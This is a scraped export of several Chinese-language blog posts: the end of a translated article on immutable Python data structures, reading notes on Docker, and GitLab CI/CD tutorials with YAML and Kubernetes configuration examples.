12345678910blog = pyrsistent.m( title="My blog", links=pyrsistent.v("github", "twitter"), posts=pyrsistent.v( pyrsistent.m(title="no updates", content="I'm busy"), pyrsistent.m(title="still no updates", content="still busy")))new_blog = blog.transform(["posts", 1, "content"], "pretty busy") new_blog 现在将是如下对象的不可变等价物: 123456{'links': ['github', 'twitter'], 'posts': [{'content': "I'm busy", 'title': 'no updates'}, {'content': 'pretty busy', 'title': 'still no updates'}], 'title': 'My blog'} 不过 blog 依然不变。这意味着任何拥有旧对象引用的人都没有受到影响:转换只会有局部效果。 当共享行为猖獗时,这会很有用。例如,函数的默认参数: 123def silly_sum(a, b, extra=v(1, 2)): extra = extra.extend([a, b]) return sum(extra) 在本文中,我们了解了为什么不可变性有助于我们来思考我们的代码,以及如何在不带来过大性能负担的条件下实现它。下一篇,我们将学习如何借助不可变对象来实现强大的程序结构。 via: https://opensource.com/article/18/10/functional-programming-python-immutable-data-structures 作者:Moshe Zadka 选题:lujun9972 译者:StdioA 校对:wxy 本文由 LCTT 原创编译,Linux中国 荣誉推出","categories":[{"name":"翻译","slug":"翻译","permalink":"https://blog.stdioa.com/categories/%E7%BF%BB%E8%AF%91/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"LCTT","slug":"LCTT","permalink":"https://blog.stdioa.com/tags/LCTT/"}],"author":"David Dai"},{"title":"《Docker 实践》阅读笔记","slug":"docker-practice-notes","date":"2018-10-30T13:14:00.000Z","updated":"2022-09-10T01:41:19.791Z","comments":true,"path":"2018/10/docker-practice-notes/","link":"","permalink":"https://blog.stdioa.com/2018/10/docker-practice-notes/","excerpt":"这几天看了《Docker 实践》,写了一点自己不知道或者想记录下来的内容。这是一份笔记,但不是一份基础教程。","text":"这几天看了《Docker 实践》,写了一点自己不知道或者想记录下来的内容。这是一份笔记,但不是一份基础教程。 1. 第一部分:Docker 基础 Docker 的优势 通过将环境打包成镜像的方式来标准化系统环境,需要使用这个环境的人可以直接使用镜像,无须重头配置环境。所以,Docker 在很多情况下可以作为虚拟机的替代使用。 对 Linux 用户而言,Docker 镜像没有依赖,所以非常适合用于打包软件。 关键概念:镜像和容器 简而言之,容器运行着由镜像定义的系统,而镜像本质上是一个文件系统,由一个或多个层加上一些 Docker 的元数据组成。 我们可以从一个镜像中生成多个容器,这些容器完全隔离,其行为不会相互影响。 一个巧妙的类比:镜像和容器的关系,就相当于类和对象的关系。 创建 Docker 镜像有四种标准的方式: Docker run & docker commit: 手工创建镜像 Dockerfile Dockerfile 及配置管理(configuration management)工具 从头创建镜像并导入一组文件(FROM scratch & ADD sth) Docker 容器修改文件时会使用写时复制(copy-on-write)的方式: 容器的最顶层是一个可写层,当容器需要修改文件时,docker 会将该文件从下面的只读层复制到可写层,再在可写层对文件进行修改。 在 docker commit 时,这个可写层将会冻结,变为一个具有自身标识符的只读层。 使用技巧 以守护进程方式运行容器: -d 参数会让镜像在后台运行;--restart 参数指定了容器重启的条件: 策略 描述 no 容器退出时不重启 always 容器退出时每次都会重启 on-failure[:max-retry] 只在失败时(返回非 0 状态码)时重启 如果想要移动 Docker 存储数据的位置,则在启动 docker daemon 时,使用 -g 参数并指定新位置; 实现容器间通信:在 docker run 时使用 --link <hostport>:<container>:<containerport> 参数可以将另外一个容器的某个端口映射到当前容器的端口中; 实现原理是更改当前容器的 hosts 文件; 但这种映射方式有一个前提条件:构建镜像时必须用 EXPOSE 命令暴露容器的端口。 在线查找镜像:使用 docker search 功能。 2. 第二部分:Docker 与开发 用 Docker 代替虚拟机 可以考虑使用 Docker 来代替虚拟机,但由于缺少 systemd 等工具,所以可以考虑用 supervisord 托管服务。 Docker 和虚拟机的差异: Docker 面向应用,而虚拟机面向操作系统 Docker 容器和其它容器共享操作系统,而每个虚拟机独享一个操作系统 Docker 被设计成只运行一个主要进程,而不是管理多组进程 构建镜像 Dockerfile 的使用 Dockerfile 的用途:从给定镜像开始,为 Docker 指定一系列的 shell 命令和元指令,从而产出最终所需的镜像 ADD 和 COPY 命令的区别:ADD 会自动在镜像内解压归档文件(如 .tar 或 .tar.gz),但 COPY 只会单纯复制文件。按需使用。 ADD 命令可以将一个 URL 对应的文件添加到容器,但通过 URL 下载的文件不会自动解压。 在 RUN 命令中使用命令链,有助于减小镜像层数,缩小容器体积。而且将 apt-get update 和 apt-get install 命令连起来,可以保证每次构建时所装的软件都是最新的,而不会从之前缓存的索引中安装一个旧版本软件。 如果希望手动清除某一层的缓存,可以在命令后面加一条注释,如 ADD a /a # bust the cache ENTRYPOINT 指定了镜像的入口点,用户在 docker run 时所写的命令都是入口点执行文件的参数。 如果不想用镜像的入口点,则需要在 docker run 的时候添加 --entrypoint=xxxx 选项以重载入口点。 ENTRYPOINT 和 CMD 的区别: ENTRYPOINT 指定了容器入口点,而 CMD 指定了入口点程序的默认参数。 假设 Dockerfile 为: 123FROM ...ENTRYPOINT ['/entrypoint.sh']CMD ['xxx', 'yyy'] docker run <image> 时,会执行 /entrypoint.sh xxx yyy; docker run <image> a b 时,a b 会覆盖掉 CMD 的值,而不会覆盖入口点,所以会执行 /entrypoint.sh a b ENTRYPOINT 和 CMD 命令的参数形式: 这两个命令的参数有两种形式,一种为字符串类型 CMD /entrypoint.sh a b,一种为数组类型 CMD ['/entrypoint.sh', 'a', 'b'],其中字符串类型的参数在实际执行前会在前面加上 bash -c 命令变成 bash -c '/entrypoint.sh a b',但数组类型的参数则不会改变,直接运行 /entrypoint.sh. 两种方法有利有弊,按需使用。 对镜像的操作 扁平化镜像 如果想将镜像中的多层合为一层(如在某层中添加了密钥又在后面删除),则可以在运行容器之后,使用 docker export <container> | docker import some-image 来将容器的目录结构导出为 tar 文件,然后再以此重新制作镜像。这样的镜像只会有一层。 对容器进行逆向工程 书里有个脚本,但是不能用;从 StackOverFlow 上找了一个可以用,但是都不如我在 Portainer 里看的全😂 用这些方法可以逆向出一部分命令,比如 MAINTAINER EXPOSE RUN 等,但由于构建上下文的缺失,ADD 命令只能显示出添加文件的哈希值和容器内路径,并不能知道具体添加的文件是什么样子的。 减小镜像体积的方法 上文提到的“扁平化镜像”方法可以有效地减少构建时镜像分层所带来的开销;除此之外,还有一些方法可以减小容器的体积: 使用一个更小的基础镜像:ubuntu 有数十 MB,而 alpine 只有几 MB 自己事后清理:可以在装完软件包以后用 apt clean 等命令删除缓存和软件包索引 将一系列命令设置为一行,这样可以减少层数 编写一个脚本来完成安装:原理同 3,只不过不需要在 Dockerfile 中写太多代码 删除不必要的软件包和文档文件:进入容器中,删除所有用不到的文件(甚至基础的可执行文件),并将容器导出(至于这么拼嘛 🌚) 特殊情况——系统只需要一个带静态链接的二进制文件(如 go 编译后的文件):用 scratch 就可以了,绝对小 进行静态编译,并将可执行文件放入另一个容器中: 书中做出了 CMD ["cat", "/go/bin/go-web-server"] docker run go-web-server > go-web-server 这样的的操作用来跨镜像复制文件。 但自从 17.05 版本引入多阶段构建(multi-stage build)后,这个繁琐的过程已经不需要了,构建程序和添加程序的操作可以在一个 Dockerfile 中完成,具体可以参见 Docker 文档。 运行容器 容器中的服务 在 Docker 的世界里,公认的最佳实践是尽可能多地把系统拆分开,直到在每个容器上都只运行一个“服务”,并且所有容器都通过链接相互连通。 如果想在容器中管理多个进程,可以考虑用 supervisord,或者使用 phusion/baseimage。参见这篇文章。 在 Docker 中使用外部数据卷 除了在 docker run 时使用 -v 参数以外,我们还可以定义数据容器,然后在运行其它容器时使用 --volumes-from 标志。 使用数据容器可以在多个容器共享数据卷时更方便管理数据卷。 例:需要改变其中一个容器的挂在路径时,如果不使用数据容器,则需要在多个容器的启动脚本中修改 -v 参数的值,而使用数据容器后,只需要更改数据容器就可以了。 使用数据容器中的卷并不需要让容器处在运行状态,所以可以在运行时使用 /bin/true 等命令,让数据容器创建后立即退出。 注意:多个容器共享数据容器时,同时写入同一文件可能会导致数据卷中的数据被覆盖或截断。 PS: 刚刚遇到了一个宿主机文件更改但未同步至容器的问题,可以参考这个帖子最后面的解释。 删除数据卷 为了保证数据安全,Docker 在删除容器时不会自动删除容器锁关联的数据卷,用户可以选择手动将这些数据卷清除 如果希望删除容器时自动删除数据卷,可以在 docker rm 中加入 -v 标志。 解绑(detach)容器 如果想要从一个容器的交互会话中退出,可以按 Ctrl+P Ctrl+Q,Docker 检测到这个按键序列后,就会自动解绑容器,但同时容器依旧会在后台运行。 如果想重新回到容器中,可以用 docker attach 命令。 这个操作和 docker run -d 然后 docker exec 有点相似,但上面的方法操纵的是镜像内 PID 为 1 的“主进程”,而 exec 命令会新启动一个新的进程给当前 tty 使用。 在运行的容器里执行一些命令 如果容器主进程不是 shell 程序而是一些别的,可以用 docker exec 命令进入容器,这样 Docker 会在容器中新开一个进程给用户来使用。 docker exec 有三种“模式”: 基本的运行模式,同步运行命令,成功后退出,如 docker exec ps; 守护进程模式,立即退出,命令在后台执行,如 docker exec -d nginx -g daemon off; 交互模式,就是 -it 的样子啦,允许与进程进行交互,如 docker exec -it bash 使用技巧 如果想让镜像立刻完成任务退出,可以使用 /bin/true 作为镜像启动命令,也可以用 touch /somefile,我更喜欢用第一个; 如果想让镜像启动后立即挂起,可以使用 sleep infinity,或 tail -f /etc/hosts 等作为启动命令; 3. 第三部分:Docker 与 DevOps 第三部分主要涉及到将 Docker 应用至 DevOps 流水线中,并在本地利用 Docker 模拟一些生产环境的网络条件(如高延迟、丢包等)来对服务的健壮性进行测试。 由于还没有对这一部分进行实践,所以这部分的内容只会进行一些摘抄和总结。 又是基本概念: 持续集成:持续集成是指用于加快流水线的一个软件生命周期策略。在每次代码库发生重大修改时,通过自动重新运行测试,可以获得更快且稳定的交付,因为被交付的软件具有一个基础层次的稳定性。 Docker 的可移植性和轻量性,使其成为 CI 从节点(一台供 CI 主服务器连接以便执行构建的机器)的理想选择。与虚拟机从节点相比,Docker CI 从节点向前迈了一大步(相对构建裸机更是一个飞跃)。它可以使用一台宿主机在多种环境上进行构建、快速销毁并创建整洁的环境来确保不受污染的构建,来使用所有熟悉的 Docker 工具来管理构建环境。 CI 技巧 如果是开源项目,可以考虑用 Docker Hub 工作流完成自动构建; 如果是本地构建,可以为包管理器安装一个 Squid 代理,通过缓存软件包来加快软件下载速度,同时节省流量。 CI/CD 流水线 CD 背后的关键思想之一是构建提升。构建提升是指流水线的每个场景(用户验收测试、集成测试以及性能测试)只有在前一个场景成功时才能触发下一个场景。 “Docker 契约” 在 CD 全过程中,从 CI 产出的镜像必须是最终的、不可修改的。 这样,在不同团队、不同环境中运行的代码和依赖才可以被彻底固化,有利于问题的复现及排查。 微服务架构 etcd 可作为环境的中央配置存储,服务发现可以用 etcd、confd 及 nginx 的组合来实现。 共享 Docker 对象 docker export 和 docker save 命令的区别: docker export 作用于容器,而 docker save 作用于镜像; docker export 会将容器的文件系统以平面化形式导出,镜像的元信息和层次结构结构会被忽略,而 docker save 会将镜像的所有信息导出,包括镜像的元信息,以及每一层的内容。 附一个书中的对比表格,对里面的一些内容作了更改: 命令 目标类型 内容来源 产出物 export 容器文件系统 容器 TAR 包 import 平面文件系统 TAR 包 Docker 镜像 save Docker 镜像(带历史记录) Docker 镜像 TAR 包 load Docker 镜像(带历史记录) TAR 包 Docker 镜像 网络模拟:无痛的现实环境测试 Docker Compose: 管理容器间链接 之前写到可以用链接的方式链接容器从而实现容器间通信,但链接的配置比较繁琐,而且出现问题难以恢复(需要依序重启所有容器才能重置所有链接)。 所以,如果需要启动一组互相连接的容器,可以使用 Docker Compose. Docker Compose 的 YAML 配置可以使容器的管理变得十分简单,它把编排容器的复杂事务从手工且易出错的过程变成了可通过源代码控制的更安全和自动化的过程。 12345678echo-server: image: server expose: - "2000"client: build: . # 使用 ./Dockerfile 来构建镜像 links: - echo-server:talkto # 这里的参数与 --link 的参数一致 docker-compose up 后,client 容器就可以通过 talkto 的 host 与 echo-server 通信。 但是,这里的 host 解析是静态的,如果希望在容器内使用可动态配置的 DNS,可以引入 resolvable. 网络测试 想要为单个容器应用不同的网络状况,可以用 Comcast 想要对大量容器进行网络状况编排设置,可以用 Blockade 想要跨宿主机进行容器间无缝通信,可以使用 Weave 构建基底网络 docker network 提供试验性的网络构建功能 啊…随着容器编排和 Service Mesh 框架的出现,貌似这些问题都可以更轻松地解决了 _(:з」∠)_","categories":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"}],"tags":[{"name":"Docker","slug":"Docker","permalink":"https://blog.stdioa.com/tags/Docker/"},{"name":"读书","slug":"读书","permalink":"https://blog.stdioa.com/tags/%E8%AF%BB%E4%B9%A6/"}],"author":"David Dai"},{"title":"GitLab CI/CD: 辅助工具","slug":"gitlab-cicd-auxiliary","date":"2018-07-15T12:21:00.000Z","updated":"2022-09-10T01:41:19.793Z","comments":true,"path":"2018/07/gitlab-cicd-auxiliary/","link":"","permalink":"https://blog.stdioa.com/2018/07/gitlab-cicd-auxiliary/","excerpt":"本文会讲一些在 GitLab CI/CD 中可能会用到的辅助工具,包括隐藏任务、依赖缓存、定时任务以及部署环境。","text":"本文会讲一些在 GitLab CI/CD 中可能会用到的辅助工具,包括隐藏任务、依赖缓存、定时任务以及部署环境。 0. TL;DR Hidden keys (jobs) Cache dependencies in GitLab CI/CD Pipeline Schedules Introduction to environments and deployments 1. 隐藏任务 先讲个简单的。 有的时候我们需要在 Pipeline 中跳过某些任务,通常情况下我们可以用任务定义中的 when 和 except 属性来控制任务是否显示。但是如果我们想暂时删掉这个任务怎么办? 一种方法,是在 .gitlab-ci.yml 中删掉或注释掉这个任务;另一种做法是,直接在任务定义的 key 中加个点号(.),就可以把这个任务隐藏起来。这种做法和 Linux 中隐藏文件的方法非常相似,也是 GitLab 官方推荐的做法。 2. 依赖缓存 之前我们的项目依赖是直接打在 Docker 镜像里的,但是后来技术更新后,单元测试使用的镜像变成了构建用的 pymicro,内部不包含任何依赖,需要在运行测试之前从头开始安装,为此会耗费大量时间。于是,我就想把这些依赖文件缓存起来。于是找到了这个文档,在测试任务运行时,使用 virtualenv 将所有依赖放进项目目录下,并配置缓存,这样在任务运行成功后,CI 系统会将依赖缓存起来,保存在 Runner 中,下次运行时就不需要重新安装依赖了。 经实测,加上依赖缓存可以使我们的测试任务运行时间从两分半缩短到一分半。于是很开心地省下了无数个 1s 一分钟。 配置文件如下: 123456789101112131415161718test_all: image: "/pymicro" stage: test_all variables: GIT_STRATEGY: fetch PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache" before_script: - "[ -e venv ] || ( pip install virtualenv -i https://mirrors.aliyun.com/pypi/simple && virtualenv venv )" - source venv/bin/activate - pip install -U -r test_requirements.txt -i https://mirrors.aliyun.com/pypi/simple script: - flake8 app - pytest tests cache: paths: - .cache/ - venv/ key: requirement-cache 需要注意的是,cache 只能缓存项目目录下的文件,不能缓存其它目录的文件,比如 /opt/ 什么的。所以,我们必须用 virtualenv 或者 pipenv 将所有 site-packages 存在项目目录下。 再就 before_script 里面的第一句和第三句多说两句: 一开始是照着文档来写的,但是那样的话每次都要重新安装 virtualenv,并且还要重复创建虚拟环境。这也是安装依赖啊…并且就算是用 PIP_CACHE_DIR 把依赖包缓存在本地,创建 virtualenv 是也要安装 setuppools 和 pip 等,依然很慢 🌚 于是干脆加了个判断,如果有 venv 这个目录,就直接跳过创建虚拟环境的阶段。 我们的 requirements.txt 是不锁依赖版本的,所以 pip install -U -r 可以在每次运行时对本地缓存的依赖进行更新,这样虽然缓存了依赖文件,但 pip 依然会和 registry 进行网络交互。去掉 -U 的话,依赖就不会被更新,但是 pip install 的执行时间会直接降低到一两秒钟。 3. 定时任务 更准确的叫法,应该叫定时流水线(Scheduling Pipelines)。 在项目的 CI/CD → Pipeline 菜单中,我们可以配置定时任务。定时的配置方式与 Crontab 的配置方式相同,还可以选择这个定时 pipeline 所使用的时区。 配置好后就可以看到设置的定时任务,到时间就会在某个分支上自动触发。 到现在为止,我们平时的 Pipeline 和定时任务中执行的任务是一模一样的。但如果我们有一些特殊的任务需要只在定时任务中执行,可以在 job 的 only 属性中写入 - schedules;同样,如果某些任务不应该在定时任务中执行,配置一下 except 属性就可以了。 4. 部署环境 如果项目的 CD 流程在 GitLab 中进行的话,可以考虑在 .gitlab-ci.yml 中配置部署任务执行所在的环境: 12345678910111213deploy_rpc: stage: deploy_production only: - master except: - schedules tags: - deploy-production when: manual environment: name: production/rpc script: - kubectl set image deploy/project-rpc "app=${IMAGE_TAG}" 配置完成后,在执行这个任务时,GitLab 就会从配置中读取环境配置,并记录当前环境部署时项目所在的 Git commit. 随后,我们就可以在 CI/CD → Environments 菜单中看到这个环境的部署情况。 点击环境右边的执行(▶️)按钮,可以方便地将这个 commit 的代码部署到其它环境中;点击环境名,可以看到这个环境的部署历史,我们可以在这里方便地将环境中的代码回滚到之前的版本。 GitLab 还提供了一个贴心的功能:我们可以直接在 Merge Request 的页面中看到当前 MR 的部署进度,以及该 MR 部署至每个环境的时间点。","categories":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"}],"tags":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/tags/DevOps/"},{"name":"GitLab","slug":"GitLab","permalink":"https://blog.stdioa.com/tags/GitLab/"},{"name":"CI/CD","slug":"CI-CD","permalink":"https://blog.stdioa.com/tags/CI-CD/"}],"author":"David Dai"},{"title":"GitLab CI/CD 基础教程(三)","slug":"gitlab-cicd-usage","date":"2018-06-23T12:53:00.000Z","updated":"2022-09-10T01:41:19.794Z","comments":true,"path":"2018/06/gitlab-cicd-usage/","link":"","permalink":"https://blog.stdioa.com/2018/06/gitlab-cicd-usage/","excerpt":"前两篇我们讲了 GitLab CI/CD 的简单应用及部署方式,这一篇简单讲一下如何将 GitLab CI/CD 与日常开发部署流程结合。","text":"前两篇我们讲了 GitLab CI/CD 的简单应用及部署方式,这一篇简单讲一下如何将 GitLab CI/CD 与日常开发部署流程结合。 0. TL;DR 看文档?其实就是简单应用吧。 .gitlab-ci.yml 的完整配置定义可以见第一篇博文。 1. 测试阶段 测试阶段没什么好说的,只需要把 runner tag 打好(注册时使用 --tag-list 参数),基于 docker/k8s 把 Runner 搭起来,基本上就可以自动运行了。 .gitlab-ci.yml 配置如下: 123456789101112131415test_all: image: "pymicro" stage: test services: - name: mysql:5.6 alias: mysql command: ["mysqld", "--character-set-server=utf8mb4", "--collation-server=utf8mb4_unicode_ci"] veriables: MYSQL_DATABASE: db MYSQL_ROOT_PASSWORD: password before_script: - pip install -U -r requirements.txt script: - flake8 app - pytest tests 这里定义的两个环境变量都是给 MySQL 服务用的,mysql 镜像会在容器启动时读取某些环境变量,来配置数据库。具体支持的环境变量可以参考 MySQL 的 docker image 页面。 我们可以在 service 中自定义启动命令,这里我将 MySQL 的默认字符集设置成了 utf8mb4,否则服务器中的数据库字符集会是 latin1. 需要注意的一点是,基于 Docker 部署的 Runner,可以使用服务别名, 也就是在跑测试的阶段中,可以通过 service alias 访问到对应的服务;而基于 Kubernetes 的 Runner 不支持,所以只能通过 127.0.0.1 访问。 2. 构建阶段 构建阶段中,我们会用 Docker 将工程打包成镜像,并推送到远端 registry. 2.1 基本配置 .gitlab-ci.yml 配置如下: 123456789101112131415161718build_image: image: "docker:17.11" stage: build services: - name: "docker:17.12.0-ce-dind" alias: dockerd variables: DOCKER_HOST: tcp://127.0.0.1:2375 IMAGE: docker.registry/name/${CI_PROJECT_NAMESPACE}-${CI_PROJECT_NAME} before_script: - IMAGE_TAG=${IMAGE}:${CI_COMMIT_SHA:0:8} only: - master tags: - build script: - docker build -t ${IMAGE_TAG} -f Dockerfile . - docker push ${IMAGE_TAG} 在这个任务中,我们启用了一个 dind 作为 service,并使用 DOCKER_HOST 环境变量来让 docker 命令与我们的 dind 服务通信。 任务执行时,会根据项目中的 Dockerfile 构建并推送镜像。 我们的镜像名称使用了项目组名 + 项目名的配置,tag 使用 commit SHA 前八位来构成。因为在 variable 字段中定义环境变量时,不能使用 ${CI_COMMIT_SHA:0:8} 这种 shell 字符串操作,所以只好在 before_script 中来定义这个环境变量。 这里,我们需要在 docker 环境中启动一个 dind,来作为构建时所用的服务器。值得注意的一点是,如果你需要使用 dind,则 dind 所在的 container 应该具有特权(官方文档也有讲到)。所以在 Runner 注册时,需要加上 --docker-privileged 或 --kubernetes-privileged 参数(具体视执行平台而定),来使 job 运行时所在的 container 拥有特权。不过,在部署 runner 时,Runner daemon 所需的 container 并不需要这个特权(其实可以机器上的 docker service 或者操控 pod 已经是一种特权了😂)。 2.2 dind 服务调(luan)优(gao) 2.2.1 dind 成为独立服务 上面定义的 job 中,dind 是一个 job service,也就是说,每次构建的时候都会从头开始构建。而 docker 构建提供了一套比较完善的缓存功能,如果 Dockerfile 某几层的构建命令完全一样(比如只是 RUN apt-get install xxx)的话,Docker 会在再次构建时自动使用之前已经构建好的层,这样可以减少构建时间。 所以我在做完上面的那个流程之后立刻意识到了这一点,于是单独把 dind 从 CI 任务中抽离了出来,在 k8s namespace 中单独搭建了一个 dind 服务,并定义了 k8s service,而 job 中的 DOCKER_HOST 环境变量也改成了 tcp://dockerd:2375,因为 dind 并不在 job pod 里了,而是一个 k8s service,需要通过 DNS 来获取到具体的 IP. 这样一来,在 job 结束后,dind 依然存在,并会保留前一次的构建层,这样下次构建的时候就可以跳过依赖安装步骤,大大缩短了构建所需的时间。 在 k8s 中搭建 dind 服务的内容不在本博文讲述范围内,想搭建的话,可以去 Google 一下。 2.2.2 尼玛… Node 存储空间满了? 在我们的 dind 服务运行起来一段时间后,就遇到了一个尴尬的问题:dind 服务占用了太多存储空间,导致 pod 的所在 node 出现了问题… 这个问题有两种解决方案:一是单独做一个 node,并用 node selector 将 dind 单独放在那个 node 上,以避免影响其它服务;二是为 dind 单独挂一个 volume,使用 PersistentVolume 进行持久化存储。 而我司的解决方案简直是骚断腿:单独买一台 VPS,在上面搭一个 docker 服务器,然后把这个服务引入 k8s 集群中 😂 所以,在搭建好服务器之后,修改 k8s 中的 Service,为 Service 添加 Endpoint,注意端点名称要与服务名称一致: 123456789101112131415161718192021222324252627kind: Servicemetadata: name: dockerd namespace: cicd labels: app: dockerdspec: ports: - protocol: TCP port: 2375 targetPort: 2375 clusterIP: None---kind: EndpointsapiVersion: v1metadata: name: dockerd namespace: cicd labels: app: dockerdsubsets: - addresses: - ip: 192.168.8.45 ports: - port: 2375 这样我们在集群中查看 dockerd 的 IP 地址时,就会得到那台 VPS 的 IP 了。 然后…记得写个 cron job,定期清理 docker 服务器上的缓存,否则硬盘也是会满的_(:з」∠)_。 3. 部署阶段 部署阶段中,我们会使用 kubectl set image 命令,对特定 Deployment 触发一次滚动更新。 .gitlab-ci.yml 配置: 12345678910111213141516deploy_production: image: "kubectl:1.8.1" stage: deploy variables: GIT_STRATEGY: none variables: IMAGE: docker.registry/name/${CI_PROJECT_NAMESPACE}-${CI_PROJECT_NAME} before_script: - IMAGE_TAG=${IMAGE}:${CI_COMMIT_SHA:0:8} only: - master when: manual tags: - deploy-production script: - kubectl set image deploy/myproject "app=${IMAGE_TAG}" --record 这里我们定义了一个 GIT_STRATEGY 环境变量,有了这个变量,在 CD 任务执行时,Runner 会跳过克隆代码的步骤,因为在这个阶段中我们并不需要项目代码。而 when: manual 属性表示这个任务需要手动触发。 这个阶段中,我们需要一个 ServiceAccount 来让 pod 使用 kubectl 与集群通信;同时为了保证 set image 命令的成功执行,我们还需要为这个账户赋予一些权限。 1234567891011121314151617181920212223242526272829303132apiVersion: v1kind: ServiceAccountmetadata: name: deployer namespace: cicdimagePullSecrets:- name: dockersecret---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata: name: deployerrules: - apiGroups: ["extensions"] resources: ["deployments"] verbs: ["get", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: cicd-deployersubjects:- kind: ServiceAccount name: deployer namespace: cicdroleRef: kind: ClusterRole name: deployer apiGroup: rbac.authorization.k8s.io 同时,在我们注册这个 runner 时,需要加上 --kubernetes-service-account deployer 参数,这样在 job pod 启动时,集群将 deployer 账户的凭据注入进 pod,kubectl 命令才能正常使用。 至此,我们(应该)可以实现并部署一套完整的测试→构建→部署流程。 这个系列到此也就结束了,后面还会有一篇,讲点周边的小工(玩)具。","categories":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"}],"tags":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/tags/DevOps/"},{"name":"GitLab","slug":"GitLab","permalink":"https://blog.stdioa.com/tags/GitLab/"},{"name":"CI/CD","slug":"CI-CD","permalink":"https://blog.stdioa.com/tags/CI-CD/"}],"author":"David Dai"},{"title":"GitLab CI/CD 基础教程(二)","slug":"gitlab-cicd-deploy","date":"2018-06-18T07:46:00.000Z","updated":"2022-09-10T01:41:19.793Z","comments":true,"path":"2018/06/gitlab-cicd-deploy/","link":"","permalink":"https://blog.stdioa.com/2018/06/gitlab-cicd-deploy/","excerpt":"本文是 GitLab CI/CD 系列的第二篇,主要介绍 GitLab CI Runner 在 Docker 和 Kubernetes 环境下的部署方式。","text":"本文是 GitLab CI/CD 系列的第二篇,主要介绍 GitLab CI Runner 在 Docker 和 Kubernetes 环境下的部署方式。 0. TL;DR 文档在这儿。 Changelog: 2018-10-08 21:05 补上缺失的 k8s Secret 定义文件。 1. GitLab Runner 的运行环境及执行环境选择 GitLab Runner 用 Go 语言写成,最后打包成单文件进行分发,所以可以在很多平台下快速运行,包括 Windows / GNU Linux / MacOS 等,同时也提供 Docker 镜像,方便在 Docker / Kubernetes 环境中部署。 但除了 Runner 运行外,Runner 还需要一个环境来运行 jobs. 这个环境称之为执行环境(executor)。GitLab Runner 支持多种执行环境,包括 SSH,Docker,VirtualBox 等。 不同执行环境对 GitLab CI/CD 不同功能的支持情况,可以看官方文档中的兼容性表格。 由于我司主要用 Docker 或 Kubernetes 来托管服务,并且在进行测试时需要 service 的支持,所以自然只剩下了两种选择,Docker 和 Kubernetes. 在下文中会讲解 GitLab 在 Docker 和 Kubernetes 中的部署方式。 尽管运行环境和执行环境可以相互独立,但为了方便起见,我更推荐在同一个环境中运行 runner daemon 和 jobs. 2. GitLab Runner 部署 简单来讲,GitLab Runner 的部署方式分为两步:运行、注册。 2.1 注册 runner 在一个 runner daemon 进程中,我们可以同时注册并运行多个 runner,来并行完成多个场景下的不同任务。 注册的步骤在不同平台下大同小异:运行 gitlab-runner register 命令,会输出一个交互界面,在里面依次输入 GitLab 实例地址、CI Token、Runner 描述、标签列表(用于区分不同类型的 Runner,使不同阶段的 job 在不同的 Runner 中运行)、执行环境类型,如果选择基于 Docker 的执行环境,则需要再输入一个缺省的 job image. 注册之后,Runner 会将配置写入 /etc/gitlab-runner/config.toml 文件中,如果文件内容不丢失,gitlab-runner 程序会自动读取配置内容并运行,无需重复注册。 当然,如果你需要一些更高级的配置,则可以直接修改 config.toml. 具体的配置可以见官方文档。在配置文件更改后,runner daemon 会自动重新加载配置,无需重启。 此外,gitlab-runner register 非常鬼畜的一点在于,config.toml 中的部分配置可以通过环境变量注入,且所有配置都可以通过注册命令的参数传入。也就是说,如果你希望不接触 config.toml,只使用一条命令来配置并注册单个 runner,gitlab-runner register 命令完全可以满足你的要求。🌚 2.2 在 Docker 环境中部署 一句话: 12345docker run -d --name gitlab-runner --restart always \\ -v /var/run/docker.sock:/var/run/docker.sock \\ -v /data/gitlab-runner/conf:/etc/gitlab-runner \\ --net=host \\ gitlab/gitlab-runner:latest 注意:我们在这里将 /var/run/docker.sock 挂载进了 gitlab-runner 容器,这也就意味着我们将 Docker 环境的控制权交给了 runner daemon,这样 runner daemon 可以在收到任务指令时,使用当前 Docker 环境作为执行环境,在里面运行容器以执行任务。 当然,这样挂载是一种相当危险的做法。如果你比较担心安全问题,可以考虑做一个 docker compose,并在里面运行一个 dind (Docker in Docker)来作为 Runner 的执行环境。 2.3 在 Kubernetes 环境中部署 在 k8s 环境中的部署要稍微复杂一些(因为配置文件太长😂),大体需要配置以下五部分: 一个或者两个 Namespace(取决于你是否要把 job pod 和 daemon 放在同一个 namespace 里) 一个 ConfigMap,用于注入 runner 配置 一个 Deployment,用于运行 runner daemon 一个 ServiceAccount,用于给 daemon 使用,来启动 pod,为运行任务提供环境(当然,用 default)也不是不可以 一个 Role + RoleBinding,为上面的 ServiceAccount 赋予 pods 和 pods/exec 权限 runner 的配置注入有两种方式: 先在 GitLab 中注册好 runner,然后在 ConfigMap 中写好配置文件,并在 Deployment 中作为一个 Volume 挂载到配置目录下。这是官方文档中推荐的做法; 在 ConfigMap 中定义环境变量,并在 pod template 的 envFrom 属性中定义一个 configMapRef 来注入环境变量,并在 pod 启动时当场注册一个 runner;在 pod 被停止前再调用命令将这个 runner 注销掉(推荐,否则 GitLab 后台会看到很多离线的 runner)。 由于编辑器的高亮规则通常不会处理一个文件里出现两种不同语言的情况,在 ConfigMap 里写 toml 会很挣扎,所以我使用的是第二种注入方式。 完整的配置文件: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150apiVersion: v1kind: Namespacemetadata: name: cicd---apiVersion: v1kind: ServiceAccountmetadata: name: executor namespace: cicdimagePullSecrets:- name: dockersecret---apiVersion: rbac.authorization.k8s.io/v1kind: Rolemetadata: namespace: cicd name: executor-rolerules: # runner 要新建 pod,所以为它赋予 pod 相关的权限 - apiGroups: [""] resources: ["pods", "pods/exec"] verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: namespace: cicd name: 